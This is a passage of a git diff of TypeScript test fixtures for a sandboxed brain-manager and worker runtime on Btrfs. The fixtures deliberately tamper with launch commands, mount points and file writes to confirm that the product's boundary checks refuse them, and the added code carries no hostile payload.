descriptor=Object.getOwnPropertyDescriptor(Bun,"spawn")!,spawn=Bun.spawn;let captured:Record|undefined,armed=mode!=="positive"&&mode!=="stale-inspection"&&mode!=="foreign"; + Object.defineProperty(Bun,"spawn",{...descriptor,value:(...args:any[])=>{ + const options=Array.isArray(args[0])?args[1]:args[0],encoded=options?.env?.BRAIN_WORKER_LAUNCH; + if(encoded){const launch=JSON.parse(encoded); + if(mode==="mid-walk-write"&&output&&launch.command?.[0]==="/bin/sh"&&launch.command?.[2]==="printf Odysseus"){ + const plan=nativeWorkerBoundary({...options.env});expect(plan.unknown,"MID_WALK_USES_REAL_PRODUCT_MASK_PLAN").toBe(true); + const original=fixtureFs.realpathSync;let injected=false; + const watch=spyOn(fixtureFs,"realpathSync").mockImplementation(((...values:any[])=>{ + const real=Reflect.apply(original,fixtureFs,values); + // This is after keeper.live() has compared all keys and reused the + // existing findings, while the same validation walk is still running. + if(!injected&&typeof values[0]==="string"&&values[0].includes("/odysseus-managed-inspection-")){ + injected=true;const file=join(output!.output.storage.root,"merged/.brain-index/brain.db");writeFileSync(file,readFileSync(file)); + } + return real; + }) as typeof fixtureFs.realpathSync); + try{expect(()=>plan.beforeLaunch(),"MID_WALK_WRITE_MUST_BE_CAUGHT_AT_EXECUTION_EDGE").toThrow("managed fixture keeper snapshot is unavailable");expect(injected,"REAL_FILE_CHANGED_AFTER_REUSED_FINDINGS").toBe(true);midWalkIntercepted=true;} + finally{watch.mockRestore();plan.dispose();} + throw Error("MIDWALK_EXPECTED_REFUSAL"); + } + if(launch.command?.some((word:string)=>word.endsWith("/maintenance-index-input.ts"))){ + captured={...options.env}; + if(armed&&(mode==="wrong-preparer"||mode==="native-under-preparer")){ + armed=false;const original=launch.command as string[],runtime=bundledClaudeBinary();if(!runtime)throw Error("Native fixture runtime missing"); + const replacement=mode==="native-under-preparer"?[runtime]:[...original.slice(0,-1),String(Number(original.at(-1))+4096)]; + const replace=(value:any):any=>{ + if(Array.isArray(value)){if(value.length>=original.length&&JSON.stringify(value.slice(-original.length))===JSON.stringify(original))return [...value.slice(0,-original.length),...replacement];return value.map(replace);} + if(value&&typeof value==="object")return Object.fromEntries(Object.entries(value).map(([key,item])=>[key,replace(item)])); + if(typeof value==="string"&&value.startsWith("{")){try{return JSON.stringify(replace(JSON.parse(value)));}catch{}} + return value; + }; + options.env={...options.env,BRAIN_WORKER_LAUNCH:JSON.stringify(replace(launch))}; + } + return Reflect.apply(spawn,Bun,args); + }}return Reflect.apply(spawn,Bun,args); + }}); + let output:Awaited>|undefined; + try{ + if(mode==="copied-wrapper"){progress("copied-inspection-start"); + output=await realPrepareNativeOutput(brain,{startupView:view});progress("copied-stage-created"); + let refusal:unknown,release:(()=>void)|undefined; + try{release=await registerNativeFixtureManagedKeeper(output.output.storage,output.view);}catch(error){refusal=error;}finally{release?.();} + expect(String(refusal),"UNOBSERVED_WRAPPER_HAS_NO_PRIVATE_READER").toContain("managed fixture keeper snapshot is unavailable"); + progress("copied-inspection-refused");console.log("FIXTURE_UNOBSERVED_WRAPPER_REFUSED");return; + } + if(mode==="nested-observer"){ + const closeInner=observeNativeProofStages(); + try{output=await prepareNativeWorkerOutput(brain,{startupView:view});expect((await runMaintenanceWorker({brainPath:brain,startupView:output.view,output:{...output.output,target:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/bin:/bin"},command:["/bin/true"]})).exitCode,"NESTED_OBSERVER_REACHES_REAL_STAGE").toBe(0);console.log("NESTED_INNER_STAGE_PASSED");await output.cleanup();output=undefined;}finally{closeInner();} + } + output=await prepareNativeWorkerOutput(brain,{startupView:view,areas:["odysseus-preparation.md"]});progress("inspection-created"); + const base=():MaintenanceCommand=>({brainPath:brain,startupView:output!.view,output:{...output!.output,target:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/local/bin:/usr/bin:/bin"},command:["/bin/true"]}); + if(mode==="nested-observer"){expect((await runMaintenanceWorker(base())).exitCode,"NESTED_OBSERVER_RETAINS_OUTER_REGISTRATION").toBe(0);console.log("FIXTURE_NESTED_OBSERVERS_PASSED");return;} + if(wrapperMode){ + expect((await runMaintenanceWorker(base())).exitCode,"ACTUAL_WRAPPER_REACHES_REAL_STAGE").toBe(0); + if(mode==="actual-wrapper"){console.log("FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED");return;} + if(mode==="raw-expired"){expect(leaseCloseCalls,"RAW_EXPIRES_BEFORE_MANAGER_CLOSE").toBe(0);expect(readFileSync(`/proc/${output.output.storage.namespacePid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19],"RAW_EXPIRY_STAGE_IS_STILL_LIVE").toBe(String(output.output.storage.namespaceStart));rawLive=false;} + else{await output.cleanup();progress("stage-cleaned-before-close");await lease!.close();progress("owner-closed");} + await expect(registerNativeFixtureManagedKeeper(output.output.storage,mode==="closed-wrapper"?view:output.view),"WRAPPER_PROVENANCE_EXPIRES_BEFORE_READER").rejects.toThrow("managed fixture manager provenance expired"); + if(mode==="raw-expired")expect(leaseCloseCalls,"RAW_EXPIRY_REFUSES_WITH_MANAGER_STILL_OPEN").toBe(0); + console.log(mode==="raw-expired"?"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER":"FIXTURE_CLOSED_WRAPPER_REFUSED");return; + } + if(mode==="mid-walk-write"){ + await expect(runMaintenanceWorker({...base(),command:["/bin/sh","-c","printf Odysseus"]}),"MID_WALK_NEGATIVE_REACHED_REAL_PRODUCT_SPAWN").rejects.toThrow("MIDWALK_EXPECTED_REFUSAL"); + expect(midWalkIntercepted,"MID_WALK_REFUSAL_IS_THE_CLAIMED_CAUSE").toBe(true);console.log("FIXTURE_MID_WALK_WRITE_REFUSED");return; + } + if(mode==="foreign"){ + await expect(prepareMaintenanceWorker({...base(),output:{...base().output!,storage:{...output.output.storage}}}),"FOREIGN_PREPARATION_IS_PRODUCT_REFUSED").rejects.toThrow("native maintenance requires its retained attested stage owner");console.log("FIXTURE_PREPARATION_FOREIGN_REFUSED");return; + } + if(mode==="wrong-preparer"||mode==="native-under-preparer"){ + let failure:unknown;try{await prepareMaintenanceWorker(base());}catch(error){failure=error;} + expect(failure,"FIXED_PREPARER_REJECTS_CHANGED_COMMAND").toBeDefined();console.log("FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL");return; + } + if(mode==="failed-preparation"){ + await expect(prepareMaintenanceWorker(base()),"REAL_PREPARATION_FAILED").rejects.toThrow("Disposable index preparation command refused:");expect(captured,"REAL_PREPARATION_LAUNCHED").toBeDefined(); + let refused=false;try{const plan=nativeWorkerBoundary(captured!);plan.beforeLaunch();plan.dispose();}catch{refused=true;} + expect(refused,"FAILED_PREPARATION_INSPECTION_RETIRED").toBe(true);console.log("FIXTURE_FAILED_PREPARATION_RETIRED");return; + } + await prepareMaintenanceWorker(base());expect(captured,"REAL_INDEX_PREPARER_EXECUTED").toBeDefined(); + if(mode==="stale-inspection"){ + const plan=recorded;expect(plan,"ACTUAL_RECORDED_PREPARER_PLAN").toBeDefined(); + let refused=false;try{plan!.beforeLaunch();}catch{refused=true;}expect(refused,"RETIRED_INSPECTION_CANNOT_LAUNCH").toBe(true);console.log("FIXTURE_OLD_INSPECTION_RETIRED");return; + } + expect((await runMaintenanceWorker(base())).exitCode,"REAL_INDEX_PREPARATION_RECAPTURED").toBe(0); + const gitRoot=output.output.source.replace(/\/merged$/,"/git-adapter");mkdirSync(gitRoot,{mode:0o700});mkdirSync(join(gitRoot,"bin"),{mode:0o700});mkdirSync(join(gitRoot,"hooks"),{mode:0o700}); + writeFileSync(join(gitRoot,"config.json"),JSON.stringify({marker:"Odysseus preparation"}),{mode:0o600});writeFileSync(join(gitRoot,"empty-config"),"");writeFileSync(join(gitRoot,"bin/git"),"#!/bin/sh\nexit 0\n",{mode:0o755}); + const git=await prepareMaintenanceGitInput({...base(),git:{source:gitRoot,target:"/tmp/brain-maintenance-git",entry:Bun.resolveSync("../../packages/ui-sdk/src/server/maintenance-git-entry",import.meta.dir),binary:"/usr/bin/git"}}); + expect((await runMaintenanceWorker({...base(),git})).exitCode,"REAL_GIT_PREPARATION_RECAPTURED").toBe(0); + expect((await runMaintenanceWorker({...base(),git,command:["/bin/sh","-c",'printf Odysseus > "$BRAIN_ROOT/odysseus-preparation.md"']})).exitCode,"REAL_FILE_PUBLICATION_FILTER_WRITTEN").toBe(0); + expect((await runMaintenanceWorker({...base(),git})).exitCode,"PUBLICATION_FILE_IS_INSPECTED_WITHOUT_DIRECTORY_ROLE").toBe(0); + await expect(runMaintenanceWorker({...base(),git:{...git}}),"REAL_FOREIGN_GIT_SPEC_REFUSES").rejects.toThrow("Unprepared or foreign concrete maintenance Git input"); + expect((await runMaintenanceWorker({...base(),git})).exitCode,"FOREIGN_PREFLIGHT_DOES_NOT_RETIRE_UNCONSUMED_INSPECTION").toBe(0);console.log("FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED"); + }finally{progress("cleanup-start");stopRecording();Object.defineProperty(Bun,"spawn",descriptor); + try{ + if(mode==="closed-wrapper"){ + await output!.cleanup(); + await expect(view.cleanup(),"CLOSED_OWNER_VIEW_CLEANUP_IS_EXPLICIT").rejects.toThrow("Native root lease owner is closed."); + }else try{await output?.cleanup();}finally{await view.cleanup();} + }finally{try{progress("manager-close");await lease?.close();progress("manager-closed");}finally{rawLive=false;if(ledgerRoot)rmSync(ledgerRoot,{recursive:true,force:true});rmSync(index,{recursive:true,force:true});rmSync(gitDirectory,{recursive:true,force:true});rmSync(opaque,{recursive:true,force:true});}} + } + }); +} diff --git a/scripts/native-proof/hosted-app-child.ts b/scripts/native-proof/hosted-app-child.ts index 63b7cb392f..24b177d98d 100644 --- a/scripts/native-proof/hosted-app-child.ts +++ b/scripts/native-proof/hosted-app-child.ts @@ -1,4 +1,5 @@ import "../test-network-child-preload.ts"; +import {observeNativeFixtureManagers} from "../../tests/helpers/native-managed-proof"; import { appendFileSync, existsSync, readFileSync, renameSync, writeFileSync, statSync } from "node:fs"; import { dirname,join } from "node:path"; import {AsyncLocalStorage} from "node:async_hooks"; @@ -207,6 +208,7 @@ const hostNetworkScope=AsyncLocalStorage.snapshot(); const egressProxy=await import(join(source!,"packages/ui-sdk/src/server/egress-proxy.ts")); const startEgressProxy=egressProxy.startEgressProxy; spyOn(egressProxy,"startEgressProxy").mockImplementation((...args:any[])=>hostNetworkScope(()=>startEgressProxy(...args))); +const closeFixtureManagers=observeNativeFixtureManagers(); const leaveFixtureAuthority=nativeScriptedService(inference?.origin.replace(/^anthropic=/,"")??egressOrigin.url.origin,{fixtureRoots:[brain!,dir!]}); const nativeOutput=await import(join(source!,"packages/ui-sdk/src/server/worker-native-output.ts")); const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; @@ -362,7 +364,7 @@ try { let closing = false; process.on("SIGTERM", async () => { if (closing) return; closing = true; - try { server.stop(true); await app.close(); leaveFixtureAuthority(); inference?.close(); egressOrigin.stop(true); event("fixture_warnings",{messages:observability.logs.records().map((log:any)=>({severity:log.severityText,body:log.body}))}); event("closed"); process.exit(0); } + try { server.stop(true); await app.close(); closeFixtureManagers();leaveFixtureAuthority(); inference?.close(); egressOrigin.stop(true); event("fixture_warnings",{messages:observability.logs.records().map((log:any)=>({severity:log.severityText,body:log.body}))}); event("closed"); process.exit(0); } catch (error) { event("close_error", { error: String(error) }); process.exit(1); } }); } catch (error) { diff --git a/scripts/native-proof/hosted-app.test.ts b/scripts/native-proof/hosted-app.test.ts index c9013e23d7..b14aa7296a 100644 --- a/scripts/native-proof/hosted-app.test.ts +++ b/scripts/native-proof/hosted-app.test.ts @@ -1,3 +1,4 @@ +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../test-deadlines"; import { afterAll, expect, test } from "bun:test"; import { appendFileSync, chmodSync, existsSync, mkdirSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from "node:fs"; @@ -65,7 +66,6 @@ print(json.dumps(result))`; } const git = Bun.spawnSync(["git", "init", "--quiet", brain], { env: { PATH: "/usr/bin:/bin", HOME: join(dir, "home") } }); expect(git.exitCode, "OFFLINE_FIXTURE_GIT_INITIALIZED").toBe(0); - const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { hostOutputStagingLimits } = await import(join(SOURCE, "packages/ui-sdk/src/server/worker-state-limits.ts")); // The app child supplies no staging overrides; use the same existing defaults. const staging = hostOutputStagingLimits({}); @@ -620,7 +620,6 @@ print(json.dumps(result))`; // One fixed backend/UID cell owns this backend-independent root-lifetime control. if (BACKEND === "pi" && APP_UID === 0) for (const held of ["descriptor", "cwd"] as const) test(`a retained native checkpoint ${held} records the actual release interruption and reconciles the same root`, async () => { const brain = "/brain-fixture/brain", name = "notes/worker-1.md"; - const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { createNativeBrainManagerClient } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager-client.ts")); const show = Bun.spawnSync(["/usr/bin/btrfs", "subvolume", "show", brain]); expect(show.exitCode).toBe(0); const brainUuid = /^\s*UUID:\s*([0-9a-f-]+)/m.exec(show.stdout.toString())![1]!.replaceAll("-", ""); @@ -662,7 +661,6 @@ if (BACKEND === "pi" && APP_UID === 0) for (const held of ["descriptor", "cwd"] // next transaction-kthread pass, which equals the release deadline (#1967). if (BACKEND === "pi" && APP_UID === 0) test("a native checkpoint descriptor released just after its delete still completes release", async () => { const brain = "/brain-fixture/brain", name = "notes/worker-1.md"; - const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { createNativeBrainManagerClient } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager-client.ts")); const show = Bun.spawnSync(["/usr/bin/btrfs", "subvolume", "show", brain]); expect(show.exitCode).toBe(0); const brainUuid = /^\s*UUID:\s*([0-9a-f-]+)/m.exec(show.stdout.toString())![1]!.replaceAll("-", ""); @@ -701,7 +699,6 @@ if (BACKEND === "pi" && APP_UID === 0) test("a native checkpoint descriptor rele // each operation still refuses a changed identity, immutability or qualification. if (BACKEND === "pi" && APP_UID === 0) test("every native manager check still refuses through one identity inspector", async () => { const brain = "/brain-fixture/brain", nested = join(brain, "nested-voyage"); - const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { createNativeBrainManagerClient } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager-client.ts")); const { createNativeIdentityInspector, NATIVE_ROOT_INSPECTION, NATIVE_LOOP_INSPECTION } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-identity-inspector.ts")); const btrfs = (...args: string[]) => { const result = Bun.spawnSync(["/usr/bin/btrfs", ...args]); expect(result.exitCode, `btrfs ${args.join(" ")}: ${result.stderr}`).toBe(0); return result.stdout.toString(); }; diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index 9615ef2ab3..443f9aeb56 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -1,12 +1,15 @@ +import {retainFixtureStream} from "../../packages/ui-sdk/tests/fixtures/retained-stream"; +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; +import {captureNativeReceipts} from "../native-test-receipts"; import {withNativeProofStages} from "../../tests/helpers/native-managed-proof"; /** Real owned Btrfs manager, separate-UID launch and private journal recovery. */ import { expect } from "bun:test"; -import { chmodSync, chownSync, constants, mkdirSync, readFileSync, statSync, writeFileSync } from "node:fs"; +import { chmodSync, chownSync, constants, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; import { open, unlink } from "node:fs/promises"; import { join } from "node:path"; import { Readable } from "node:stream"; import { createHash } from "node:crypto"; -import { serveNativeBrainManager } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; + import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { prepareNativeWorkerStartupView } from "../../packages/ui-sdk/src/server/worker-startup-view.js"; import { prepareNativeWorkerOutput } from "../../packages/ui-sdk/src/server/worker-native-output.js"; @@ -26,7 +29,8 @@ function command(argv: string[]): string { return result.stdout.toString(); } -if (process.argv[2] === "--child") { +if(process.argv[2]==="--preparation-child"){await (await import("./fixture-preparation.native")).proveFixturePreparation(process.argv[3]!,brain,socketPath);} +else if (process.argv[2] === "--child") { await withNativeProofStages(brain,async()=>{ expect(process.getuid?.()).toBe(21001); const manager = createNativeBrainManagerClient({ socketPath }); @@ -158,6 +162,23 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); appUid: 21001, appGid: 21001, workerUid: 21002, stageAllowanceBytes: staging.allowanceBytes, stageBudgetBytes: staging.budgetBytes, capacityBytes: 4 * 1024 ** 3, recoveryReserveBytes: 16 * MIB }); try { + const {preparationCases}=await import("./fixture-preparation.native"); + for(const mode of process.argv.includes("--preparation-proofs")?preparationCases:[]){ + const receipt=captureNativeReceipts(); + const child=Bun.spawn(["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups",process.execPath,"--preload","/repo/scripts/test-network-child-preload.ts",import.meta.filename,"--preparation-child",mode],{env:{PATH:"/usr/local/bin:/usr/bin:/bin",BRAIN_UI_WORKER_IDENTITY_HELPER:"/usr/local/bin/identity-helper",...receipt.env},stdout:"pipe",stderr:"pipe"}); + const [code,stdoutResult,stderrResult]=await Promise.all([child.exited,retainFixtureStream(child.stdout,`/proof/preparation-${mode}.stdout`),retainFixtureStream(child.stderr,`/proof/preparation-${mode}.stderr`)]);const out=stdoutResult.text,stderr=stderrResult.text,err=stderr+receipt.read();receipt.dispose();if(stdoutResult.failure)throw stdoutResult.failure.error;if(stderrResult.failure)throw stderrResult.failure.error; + // A refused child can exit before its asynchronous fixture cleanup completes. + // Only these three roots were created by this proof, after the child started. + for(const rel of [".brain/odysseus-preparation-private",".git",".brain-index"])rmSync(join(brain,rel),{recursive:true,force:true}); + writeFileSync(`/proof/preparation-${mode}.stdout`,out);writeFileSync(`/proof/preparation-${mode}.stderr`,err); + const markers={"mid-walk-write":"FIXTURE_MID_WALK_WRITE_REFUSED","nested-observer":"FIXTURE_NESTED_OBSERVERS_PASSED",positive:"FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED","stale-inspection":"FIXTURE_OLD_INSPECTION_RETIRED",foreign:"FIXTURE_PREPARATION_FOREIGN_REFUSED","wrong-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","native-under-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","failed-preparation":"FIXTURE_FAILED_PREPARATION_RETIRED","actual-wrapper":"FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED","copied-wrapper":"FIXTURE_UNOBSERVED_WRAPPER_REFUSED","closed-wrapper":"FIXTURE_CLOSED_WRAPPER_REFUSED","raw-expired":"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER"} satisfies Record; + const reasons:Partial>={"mid-walk-write":"managed fixture keeper snapshot is unavailable","stale-inspection":"managed fixture inspection changed after planning","wrong-preparer":"metadata-only probe launch chain differs","native-under-preparer":"metadata-only probe launch chain differs","failed-preparation":"metadata-only probe scope expired or source changed","copied-wrapper":"managed fixture keeper snapshot is unavailable","closed-wrapper":"managed fixture manager provenance expired","raw-expired":"managed fixture manager provenance expired"}; + const reason=reasons[mode];expect(code,`REAL_PREPARATION_PROOF ${mode}: ${err}`).toBe(reason?1:0); + expect(out,`REAL_PREPARATION_PROOF_REACHED ${mode}`).toContain(markers[mode]); + if(reason){expect(err).toContain('"kind":"native-offline-boundary"');expect(err).toContain('"nativeLaunched":false');expect(err).toContain(reason);} + console.log(JSON.stringify({fixturePreparation:mode,result:"pass"})); + } + if(!process.argv.includes("--preparation-proofs")){ const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--clear-groups", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, "--child"], { env: { PATH: "/usr/local/bin:/usr/bin:/bin", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe" }); @@ -166,5 +187,6 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); writeFileSync("/proof/native-identity-child.stdout", text); writeFileSync("/proof/native-identity-child.stderr", detail); expect(code, detail).toBe(0); expect(text).toContain('"nativeIdentityManager":"pass"'); console.log(text); - } finally { await service.close(); } + } + } finally { await service.close();if(process.argv.includes("--preparation-proofs")){for(const rel of ["notes",".brain","brain.config.ts"])rmSync(join(brain,rel),{recursive:true,force:true});} } } diff --git a/scripts/native-proof/reference-efficiency.ts b/scripts/native-proof/reference-efficiency.ts index 15555f9efa..38211bd2f7 100644 --- a/scripts/native-proof/reference-efficiency.ts +++ b/scripts/native-proof/reference-efficiency.ts @@ -389,10 +389,10 @@ export async function runReferenceEfficiency(context: EfficiencyContext): Promis git(work, "commit", "-q", "-am", "The Phaeacians listen"); push(); advance(); const before = await sourceRoots(); - let peak = 0; const sample = setInterval(() => { client.poolStatus().then(value => { peak = Math.max(peak, value.accounting?.pendingBytes ?? 0); }, () => {}); }, 50); - const [readers, concurrentMs] = await timed(() => Promise.all(Array.from({ length: 4 }, () => request()))); - clearInterval(sample); - const joined = await measure("concurrent-refresh", concurrentMs, [], { peakPendingBytes: peak }); + // Keep one status request in flight: the manager serializes operations, so + // overlapping samples queue behind refresh and can starve that refresh. + const [readers, concurrentMs, peak] = await sampled(() => Promise.all(Array.from({ length: 4 }, () => request()))); + const joined = await measure("concurrent-refresh", concurrentMs, [], { peakPendingBytes: peak.pendingBytes }); const added = (await sourceRoots()).filter(id => !before.includes(id)); expect({ added: added.length, readers: new Set(readers.map(lease => lease.rootId)).size }, "REFERENCE_EFFICIENCY_CONCURRENT_REFRESH_ONE_ROOT").toEqual({ added: 1, readers: 1 }); expect(joined.chargedBytes - refreshed.chargedBytes, "REFERENCE_EFFICIENCY_CONCURRENT_REFRESH_SMALL").toBeLessThanOrEqual(T.concurrentRefreshBytes); diff --git a/scripts/native-proof/reference-integration.native.ts b/scripts/native-proof/reference-integration.native.ts index 70878c6fdd..95258dbf6e 100644 --- a/scripts/native-proof/reference-integration.native.ts +++ b/scripts/native-proof/reference-integration.native.ts @@ -1,3 +1,4 @@ +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../test-deadlines"; /** * Integrated shared-reference and managed-worktree proof (#2751). Runs only @@ -19,7 +20,7 @@ import { appendFileSync, chmodSync, closeSync, existsSync, mkdirSync, openSync, import { randomBytes } from "node:crypto"; import { join } from "node:path"; import { Database } from "bun:sqlite"; -import { serveNativeBrainManager } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; + import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { hostOutputStagingLimits } from "../../packages/ui-sdk/src/server/worker-state-limits.js"; import type { NativePoolRecord } from "../../packages/ui-sdk/src/server/native-brain-manager-protocol.js"; diff --git a/scripts/native-proof/reference-pool.native.ts b/scripts/native-proof/reference-pool.native.ts index 9e623ba360..0aee556941 100644 --- a/scripts/native-proof/reference-pool.native.ts +++ b/scripts/native-proof/reference-pool.native.ts @@ -1,3 +1,4 @@ +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import {verifyNativeUidHandoffs} from "./uid-handoff.native"; import { watchdogMs } from "../test-deadlines"; /** Real reference-pool qualification on owned Btrfs loop volumes (#2428). Runs only inside reference-pool-fixture.py. */ @@ -5,7 +6,7 @@ import { expect, spyOn } from "bun:test"; import { closeSync, existsSync, linkSync, mkdirSync, openSync, readdirSync, readFileSync, readlinkSync, rmSync, statSync, symlinkSync, truncateSync, unlinkSync, writeFileSync, writeSync, chmodSync, renameSync } from "node:fs"; import { join } from "node:path"; import { randomBytes, randomUUID } from "node:crypto"; -import { createNativeBrainManager, serveNativeBrainManager, type NativeBrainManagerConfig } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; +import { createNativeBrainManager, type NativeBrainManagerConfig } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { reservePhysical } from "../../packages/ui-sdk/src/server/native-reference-pool.js"; import type { NativePoolGrowth, NativePoolRecord, NativePoolStatus } from "../../packages/ui-sdk/src/server/native-brain-manager-protocol.js"; @@ -39,6 +40,7 @@ const config: NativeBrainManagerConfig = { emergencyBytes: 4 * MIB, physicalFloorBytes: 64 * MIB, headroomLedgerPath: LEDGER, maxIdentities: 256 }, }; await verifyNativeUidHandoffs(); +await (await import("./stage-metadata.native")).proveNativeStageMetadata(); type Manager = Awaited>; let manager: Manager = await createNativeBrainManager(config); async function call(request: Record): Promise { diff --git a/scripts/native-proof/schedule-folder-admission.ts b/scripts/native-proof/schedule-folder-admission.ts index 33236cf381..683a1d0844 100644 --- a/scripts/native-proof/schedule-folder-admission.ts +++ b/scripts/native-proof/schedule-folder-admission.ts @@ -1,10 +1,11 @@ +import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../test-deadlines"; /** Actual Btrfs publication control; invoked by the existing owned native fixture. */ import { strict as assert } from "node:assert"; import { mkdirSync, writeFileSync, existsSync, chmodSync, statSync, rmSync } from "node:fs"; import { text as streamText } from "node:stream/consumers"; import { join } from "node:path"; -import { serveNativeBrainManager } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; + import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { createUiDb } from "../../packages/ui-server/src/db/client.js"; import { createWriterGate } from "../../packages/ui-server/src/brain/writer-gate.js"; diff --git a/scripts/native-proof/stage-metadata.native.ts b/scripts/native-proof/stage-metadata.native.ts new file mode 100644 index 0000000000..15bd7d8c4a --- /dev/null +++ b/scripts/native-proof/stage-metadata.native.ts @@ -0,0 +1,59 @@ +/** Root-container proof of the test-only metadata channel; never reads file bytes. */ +import {expect} from "bun:test"; +import {mkdtempSync,mkdirSync,chmodSync,chownSync,lstatSync,statSync,readFileSync,rmSync,renameSync,symlinkSync,writeFileSync} from "node:fs"; +import {join} from "node:path"; +import {connectNativeStageMetadata} from "../native-stage-metadata-channel"; +import {opaqueStageNode,recheckOpaqueStageNode} from "../native-opaque-stage"; +import {installNetworkGuard} from "../test-network-guard"; +import {captureNativeReceipts} from "../native-test-receipts"; +import {nativeUnknownBoundary} from "../test-native-guard"; +const start=(pid:number)=>readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!; +export async function proveNativeStageMetadata():Promise{ + installNetworkGuard();const receipts=captureNativeReceipts(); + try{ + const code=`import {nativeClaudeBoundary} from ${JSON.stringify(join(import.meta.dir,"../test-native-guard.ts"))};try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{}`; + const child=Bun.spawn(["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups",process.execPath,"--preload",join(import.meta.dir,"../test-network-child-preload.ts"),"-e",code],{env:{PATH:"/usr/bin:/bin",GITHUB_ACTIONS:"true",RUNNER_ENVIRONMENT:"github-hosted",BRAIN_NATIVE_TEST_HEAD:process.env.BRAIN_NATIVE_TEST_HEAD,...receipts.env},stdout:"pipe",stderr:"pipe"}); + const [exit,,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const evidence=err+receipts.read();expect(exit,"QUALIFICATION_WITH_FOREIGN_RECEIPT_OWNER_REFUSES_AUTHORITY").toBe(1); + expect(evidence,"FIXED_MASKED_PROBES_REACH_AUTHORITY_CHECK").toContain('"reason":"scripted service authority was not registered"'); + expect(evidence).not.toContain('"reason":"OS namespace setup failed"'); + }finally{receipts.dispose();} + + const modes=["root-valid","root-swapped","valid","wrong-handle","wrong-peer","cleanup","schema","groups","expired","symlink","foreign-mount","dev-mismatch","ino-mismatch","exec-only","search-only","later-readable","swapped"] as const; + for(const mode of modes){ + const root=mkdtempSync("/tmp/odysseus-stage-channel-"),socket=join(root,"channel"),source=join(root,"merged"),rootMode=mode.startsWith("root-"),path=rootMode?source:join(source,"unknown");mkdirSync(source,{mode:0o755});if(!rootMode)mkdirSync(path,{mode:0o700});chownSync(path,rootMode?21002:21001,21001);if(rootMode)chmodSync(path,0); + if(mode==="exec-only"){rmSync(path,{recursive:true});writeFileSync(path,"opaque");chownSync(path,21001,21001);chmodSync(path,0o711);} + if(mode==="search-only")chmodSync(path,0o711); + if(mode==="symlink"){rmSync(path,{recursive:true});symlinkSync("/proc",path);} + const keeper=Bun.spawn([...(mode==="wrong-peer"?["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups"]:[]),"/usr/bin/sleep","60"],{env:{},stdout:"ignore",stderr:"ignore"}); + const info=lstatSync(source,{bigint:true}),namespace=String(statSync(`/proc/${mode==="wrong-peer"?process.pid:keeper.pid}/ns/mnt`,{bigint:true}).ino),id="00000000-0000-4000-8000-000000000000"; + const config={...(mode==="wrong-peer"?{readerPid:process.pid,readerStart:start(process.pid),readerNamespace:namespace}:{}),socket,id,pid:keeper.pid,start:start(keeper.pid),namespace,root:source,dev:String(info.dev),ino:String(info.ino),appUid:mode==="wrong-peer"?21001:0,gid:21001,workerUid:21002}; + let mounted=false,channel:Awaited>|undefined; + if(mode==="foreign-mount"){const 